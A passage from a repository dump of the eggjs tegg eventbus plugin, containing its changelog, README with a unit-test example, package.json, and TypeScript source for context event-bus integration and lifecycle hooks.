@eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n\n### Features\n\n* impl ajv + typebox Validator ([#201](https://github.com/eggjs/tegg/issues/201)) ([9fd585d](https://github.com/eggjs/tegg/commit/9fd585de9b613466c96b73494a08a494db34ea57))\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n\n### Features\n\n* allow a handler to subscribe to multiple events ([#179](https://github.com/eggjs/tegg/issues/179)) ([1d460a5](https://github.com/eggjs/tegg/commit/1d460a5a6bdcf9a3d61b13d3527633c8b990a38c))\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.26.0](https://github.com/eggjs/tegg/compare/v3.25.2...v3.26.0) (2023-11-17)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n\n### Features\n\n* impl MultiInstanceProto ([#145](https://github.com/eggjs/tegg/issues/145)) ([12fd5cf](https://github.com/eggjs/tegg/commit/12fd5cff4004578bcc737dcdf4f7e9d1159f5633))\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n\n### Bug Fixes\n\n* after call mockModuleContext, hasMockModuleContext should be true ([#134](https://github.com/eggjs/tegg/issues/134)) ([88b3caa](https://github.com/eggjs/tegg/commit/88b3caadd24f08221b8098c42733e26376338cae))\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.9.0](https://github.com/eggjs/tegg/compare/v3.8.0...v3.9.0) (2023-06-20)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n\n### Bug Fixes\n\n* don't check eventbus plugin name ([#113](https://github.com/eggjs/tegg/issues/113)) ([2a94a57](https://github.com/eggjs/tegg/commit/2a94a57c58e4fd971400966c15597aace4bb1ecc))\n\n\n\n\n\n## [3.6.3](https://github.com/eggjs/tegg/compare/v3.6.2...v3.6.3) (2023-03-02)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.6.2](https://github.com/eggjs/tegg/compare/v3.6.1...v3.6.2) (2023-02-16)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.6.1](https://github.com/eggjs/tegg/compare/v3.6.0...v3.6.1) (2023-02-14)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.6.0](https://github.com/eggjs/tegg/compare/v3.5.2...v3.6.0) (2023-02-13)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.5.2](https://github.com/eggjs/tegg/compare/v3.5.1...v3.5.2) (2023-02-10)\n\n\n### Bug Fixes\n\n* eventbus cork should support reentry ([#98](https://github.com/eggjs/tegg/issues/98)) ([077044c](https://github.com/eggjs/tegg/commit/077044c040f8423572605eb2980e3cc6da8c038e))\n\n\n\n\n\n## [3.5.1](https://github.com/eggjs/tegg/compare/v3.5.0...v3.5.1) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.5.0](https://github.com/eggjs/tegg/compare/v3.4.1...v3.5.0) (2023-02-10)\n\n\n### Features\n\n* use SingletonProto for egg ctx object ([#92](https://github.com/eggjs/tegg/issues/92)) ([3385d57](https://github.com/eggjs/tegg/commit/3385d571b076d3148978f252188f29d9cf2c6781))\n\n\n\n\n\n## [3.4.1](https://github.com/eggjs/tegg/compare/v3.4.0...v3.4.1) (2023-02-02)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.4.0](https://github.com/eggjs/tegg/compare/v3.3.4...v3.4.0) (2023-02-01)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.3.4](https://github.com/eggjs/tegg/compare/v3.3.3...v3.3.4) (2023-01-29)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.3.3](https://github.com/eggjs/tegg/compare/v3.3.2...v3.3.3) (2023-01-29)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.3.2](https://github.com/eggjs/tegg/compare/v3.3.1...v3.3.2) (2023-01-29)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.3.1](https://github.com/eggjs/tegg/compare/v3.3.0...v3.3.1) (2023-01-28)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.3.0](https://github.com/eggjs/tegg/compare/v3.2.4...v3.3.0) (2023-01-28)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n\n### Bug Fixes\n\n* cork/uncork should can be called multi times in same ctx ([#78](https://github.com/eggjs/tegg/issues/78)) ([269cda6](https://github.com/eggjs/tegg/commit/269cda6327122111c230e6f69abb525ce4ab5be1))\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.2.1](https://github.com/eggjs/tegg/compare/v3.2.0...v3.2.1) (2022-12-28)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.2.0](https://github.com/eggjs/tegg/compare/v3.1.0...v3.2.0) (2022-12-28)\n\n\n### Features\n\n* impl mockModuleContextScope ([#73](https://github.com/eggjs/tegg/issues/73)) ([041881c](https://github.com/eggjs/tegg/commit/041881ca317ad81366172a35ac56b7b2dc0a0488))\n\n\n\n\n\n# [3.1.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.1.0) (2022-12-27)\n\n\n### Bug Fixes\n\n* inject context proto to singleton proto ([#72](https://github.com/eggjs/tegg/issues/72)) ([fcc0b2b](https://github.com/eggjs/tegg/commit/fcc0b2b48fc9bce580c1f2bcfcc38039ae909951))\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n* implement cork/uncork for eventbus ([#60](https://github.com/eggjs/tegg/issues/60)) ([38114bd](https://github.com/eggjs/tegg/commit/38114bd7ea3b46cc4a79556a005ef18b2ae11ec2))\n\n\n\n\n\n# [3.0.0](https://github.com/eggjs/tegg/compare/v3.0.0-alpha.0...v3.0.0) (2022-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.0.0-alpha.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.0.0-alpha.0) (2022-12-22)\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n* implement cork/uncork for eventbus ([#60](https://github.com/eggjs/tegg/issues/60)) ([38114bd](https://github.com/eggjs/tegg/commit/38114bd7ea3b46cc4a79556a005ef18b2ae11ec2))\n\n\n\n\n\n## [1.3.9](https://github.com/eggjs/tegg/compare/@eggjs/tegg-eventbus-plugin@1.3.8...@eggjs/tegg-eventbus-plugin@1.3.9) (2022-09-05)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [1.3.8](https://github.com/eggjs/tegg/compare/@eggjs/tegg-eventbus-plugin@1.3.7...@eggjs/tegg-eventbus-plugin@1.3.8) (2022-09-04)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [1.3.7](https://github.com/eggjs/tegg/compare/@eggjs/tegg-eventbus-plugin@1.3.6...@eggjs/tegg-eventbus-plugin@1.3.7) (2022-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [1.3.6](https://github.com/eggjs/tegg/compare/@eggjs/tegg-eventbus-plugin@1.3.5...@eggjs/tegg-eventbus-plugin@1.3.6) (2022-08-16)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [1.3.4](https://github.com/eggjs/tegg/compare/@eggjs/tegg-eventbus-plugin@1.3.3...@eggjs/tegg-eventbus-plugin@1.3.4) (2022-07-28)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [1.3.3](https://github.com/eggjs/tegg/compare/@eggjs/tegg-eventbus-plugin@1.3.2...@eggjs/tegg-eventbus-plugin@1.3.3) (2022-07-20)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [1.3.2](https://github.com/eggjs/tegg/compare/@eggjs/tegg-eventbus-plugin@1.3.1...@eggjs/tegg-eventbus-plugin@1.3.2) (2022-07-20)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [1.3.0](https://github.com/eggjs/tegg/compare/v1.2.0...v1.3.0) (2022-07-01)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n"
  },
  {
    "path": "tegg/plugin/eventbus/README.md",
    "content": "# @eggjs/eventbus-plugin\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/eventbus-plugin.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/eventbus-plugin.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/eventbus-plugin\n[snyk-image]: https://snyk.io/test/npm/@eggjs/eventbus-plugin/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/eventbus-plugin\n[download-image]: https://img.shields.io/npm/dm/@eggjs/eventbus-plugin.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/eventbus-plugin\n\n## Usage\n\n```js\n// plugin.js\nexport.teggEventbus = {\n  enable: true,\n  package: '@eggjs/eventbus-plugin',\n};\n```\n\n## Unittest\n\n```ts\n// test/fixtures/apps/event-app/app/event-module/HelloService\n@ContextProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class HelloService {\n  @Inject()\n  private readonly eventBus: EventBus;\n\n  hello() {\n    this.eventBus.emit('hello', '01');\n  }\n}\n\n// test/fixtures/apps/event-app/app/event-module/HelloLogger\n@Event('helloEgg')\nexport class HelloLogger {\n  handle(msg: string) {\n    console.log('hello, ', msg);\n  }\n}\n\n// test/event.test.ts\nimport assert from 'assert';\nimport path from 'path';\nimport mm from 'egg-mock';\nimport { HelloService } from './fixtures/apps/event-app/app/event-module/HelloService';\nimport { HelloLogger } from './fixtures/apps/event-app/app/event-module/HelloLogger';\n\ndescribe('test/eventbus.test.ts', () => {\n  let app;\n  let ctx;\n\n  afterEach(async () => {\n    await app.destroyModuleContext(ctx);\n    mm.restore();\n  });\n\n  before(async () => {\n    app = mm.app();\n    await app.ready();\n  });\n\n  after(() => {\n    return app.close();\n  });\n\n  it('msg should work', async () => {\n    ctx = await app.mockModuleContext();\n    const helloService = await ctx.getEggObject(HelloService);\n    let msg: string | undefined;\n    // helloLogger is in child context, should mock the prototype\n    mm(HelloLogger.prototype, 'handle', m => {\n      msg = m;\n    });\n    const eventWaiter = await app.getEventWaiter();\n    const helloEvent = eventWaiter.await('hello');\n    helloService.hello();\n    await helloEvent;\n    assert(msg === '01');\n  });\n});\n```\n"
  },
  {
    "path": "tegg/plugin/eventbus/package.json",
    "content": "{\n  \"name\": \"@eggjs/eventbus-plugin\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg event plugin\",\n  \"keywords\": [\n    \"decorator\",\n    \"egg\",\n    \"eventbus\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/plugin/eventbus\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/plugin/eventbus\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./app/extend/application.unittest\": \"./src/app/extend/application.unittest.ts\",\n    \"./app/extend/context\": \"./src/app/extend/context.ts\",\n    \"./lib/EggContextEventBus\": \"./src/lib/EggContextEventBus.ts\",\n    \"./lib/EggEventContext\": \"./src/lib/EggEventContext.ts\",\n    \"./lib/EventbusLoadUnitHook\": \"./src/lib/EventbusLoadUnitHook.ts\",\n    \"./lib/EventbusProtoHook\": \"./src/lib/EventbusProtoHook.ts\",\n    \"./lib/EventHandlerProtoManager\": \"./src/lib/EventHandlerProtoManager.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./app/extend/application.unittest\": \"./dist/app/extend/application.unittest.js\",\n      \"./app/extend/context\": \"./dist/app/extend/context.js\",\n      \"./lib/EggContextEventBus\": \"./dist/lib/EggContextEventBus.js\",\n      \"./lib/EggEventContext\": \"./dist/lib/EggEventContext.js\",\n      \"./lib/EventbusLoadUnitHook\": \"./dist/lib/EventbusLoadUnitHook.js\",\n      \"./lib/EventbusProtoHook\": \"./dist/lib/EventbusProtoHook.js\",\n      \"./lib/EventHandlerProtoManager\": \"./dist/lib/EventHandlerProtoManager.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/eventbus-decorator\": \"workspace:*\",\n    \"@eggjs/eventbus-runtime\": \"workspace:*\",\n    \"@eggjs/lifecycle\": \"workspace:*\",\n    \"@eggjs/metadata\": \"workspace:*\",\n    \"@eggjs/module-common\": \"workspace:*\",\n    \"@eggjs/tegg-runtime\": \"workspace:*\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/tegg\": \"workspace:*\",\n    \"@eggjs/tegg-common-util\": \"workspace:*\",\n    \"@eggjs/tegg-config\": \"workspace:*\",\n    \"@eggjs/tegg-plugin\": \"workspace:*\",\n    \"@eggjs/tracer\": \"workspace:*\",\n    \"@types/node\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"@eggjs/tegg-plugin\": \"workspace:*\",\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  },\n  \"eggPlugin\": {\n    \"name\": \"teggEventbus\",\n    \"dependencies\": [\n      \"tegg\"\n    ]\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/eventbus/src/app/extend/application.unittest.ts",
    "content": "import { PrototypeUtil } from '@eggjs/core-decorator';\nimport type { EventBus, EventWaiter } from '@eggjs/eventbus-decorator';\nimport { SingletonEventBus } from '@eggjs/eventbus-runtime';\nimport type { EggPrototype } from '@eggjs/metadata';\nimport type { Application } from 'egg';\n\nexport default class EventBusApplicationUnittest {\n  async getEventbus(this: Application): Promise<EventBus> {\n    const proto = PrototypeUtil.getClazzProto(SingletonEventBus) as EggPrototype;\n    const eggObject = await this.eggContainerFactory.getOrCreateEggObject(proto, proto.name);\n    return eggObject.obj as EventBus;\n  }\n\n  async getEventWaiter(this: Application): Promise<EventWaiter> {\n    const proto = PrototypeUtil.getClazzProto(SingletonEventBus) as EggPrototype;\n    const eggObject = await this.eggContainerFactory.getOrCreateEggObject(proto, proto.name);\n    return eggObject.obj as EventWaiter;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/eventbus/src/app/extend/context.ts",
    "content": "import type { Context } from 'egg';\n\nimport { EggContextEventBus } from '../../lib/EggContextEventBus.ts';\n\nconst EVENT_BUS = Symbol.for('context#eventBus');\n\nexport default class EventBusContext {\n  get eventBus(): EggContextEventBus {\n    const ctx = this as unknown as Context;\n    if (!ctx[EVENT_BUS]) {\n      ctx[EVENT_BUS] = new EggContextEventBus(ctx);\n    }\n    return ctx[EVENT_BUS] as EggContextEventBus;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/eventbus/src/app.ts",
    "content": "import type { Application, ILifecycleBoot } from 'egg';\n\nimport { EventbusLoadUnitHook } from './lib/EventbusLoadUnitHook.ts';\nimport { EventbusProtoHook } from './lib/EventbusProtoHook.ts';\nimport { EventHandlerProtoManager } from './lib/EventHandlerProtoManager.ts';\n\nexport default class EventbusAppHook implements ILifecycleBoot {\n  private readonly app: Application;\n  private readonly eventHandlerProtoManager: EventHandlerProtoManager;\n  private readonly eventbusLoadUnitHook: EventbusLoadUnitHook;\n  private readonly eventbusProtoHook: EventbusProtoHook;\n\n  constructor(app: Application) {\n    this.app = app;\n    this.eventHandlerProtoManager = new EventHandlerProtoManager(app);\n    this.eventbusLoadUnitHook = new EventbusLoadUnitHook();\n    this.eventbusProtoHook = new EventbusProtoHook(this.eventHandlerProtoManager);\n  }\n\n  configDidLoad(): void {\n    this.app.eggPrototypeLifecycleUtil.registerLifecycle(this.eventbusProtoHook);\n    this.app.loadUnitLifecycleUtil.registerLifecycle(this.eventbusLoadUnitHook);\n  }\n\n  async didLoad(): Promise<void> {\n    await this.app.moduleHandler.ready();\n    await this.eventHandlerProtoManager.register();\n  }\n\n  async beforeClose(): Promise<void> {\n    this.app.eggPrototypeLifecycleUtil.deleteLifecycle(this.eventbusProtoHook);\n    this.app.loadUnitLifecycleUtil.deleteLifecycle(this.eventbusLoadUnitHook);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/eventbus/src/index.ts",
    "content": "import './types.ts';\n"
  },
  {
    "path": "tegg/plugin/eventbus/src/lib/EggContextEventBus.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { PrototypeUtil } from '@eggjs/core-decorator';\nimport { type Events, CORK_ID, type ContextEventBus, type Arguments } from '@eggjs/eventbus-decorator';\nimport { SingletonEventBus } from '@eggjs/eventbus-runtime';\nimport type { EggPrototype } from '@eggjs/metadata';\nimport { ContextHandler, type EggContext } from '@eggjs/tegg-runtime';\nimport type { Context } from 'egg';\n\nexport class EggContextEventBus implements ContextEventBus {\n  private readonly eventBus: SingletonEventBus;\n  private readonly context: EggContext;\n  private corkId?: string;\n\n  constructor(ctx: Context) {\n    const proto = PrototypeUtil.getClazzProto(SingletonEventBus) as EggPrototype;\n    const eggObject = ctx.app.eggContainerFactory.getEggObject(proto, proto.name);\n    this.context = ContextHandler.getContext()!;\n    this.eventBus = eggObject.obj as SingletonEventBus;\n  }\n\n  cork(): void {\n    if (!this.corkId) {\n      this.corkId = this.eventBus.generateCorkId();\n      this.context.set(CORK_ID, this.corkId);\n    }\n    this.eventBus.cork(this.corkId);\n  }\n\n  uncork() {\n    assert(this.corkId, 'eventbus uncork without cork');\n    if (this.eventBus.uncork(this.corkId)) {\n      this.context.set(CORK_ID, null);\n      this.corkId = undefined;\n    }\n    return true;\n  }\n\n  emit<E extends keyof Events>(event: E, ...args: Arguments<Events[E]>): boolean {\n    return this.eventBus.emitWithContext(this.context, event, args);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/eventbus/src/lib/EggEventContext.ts",
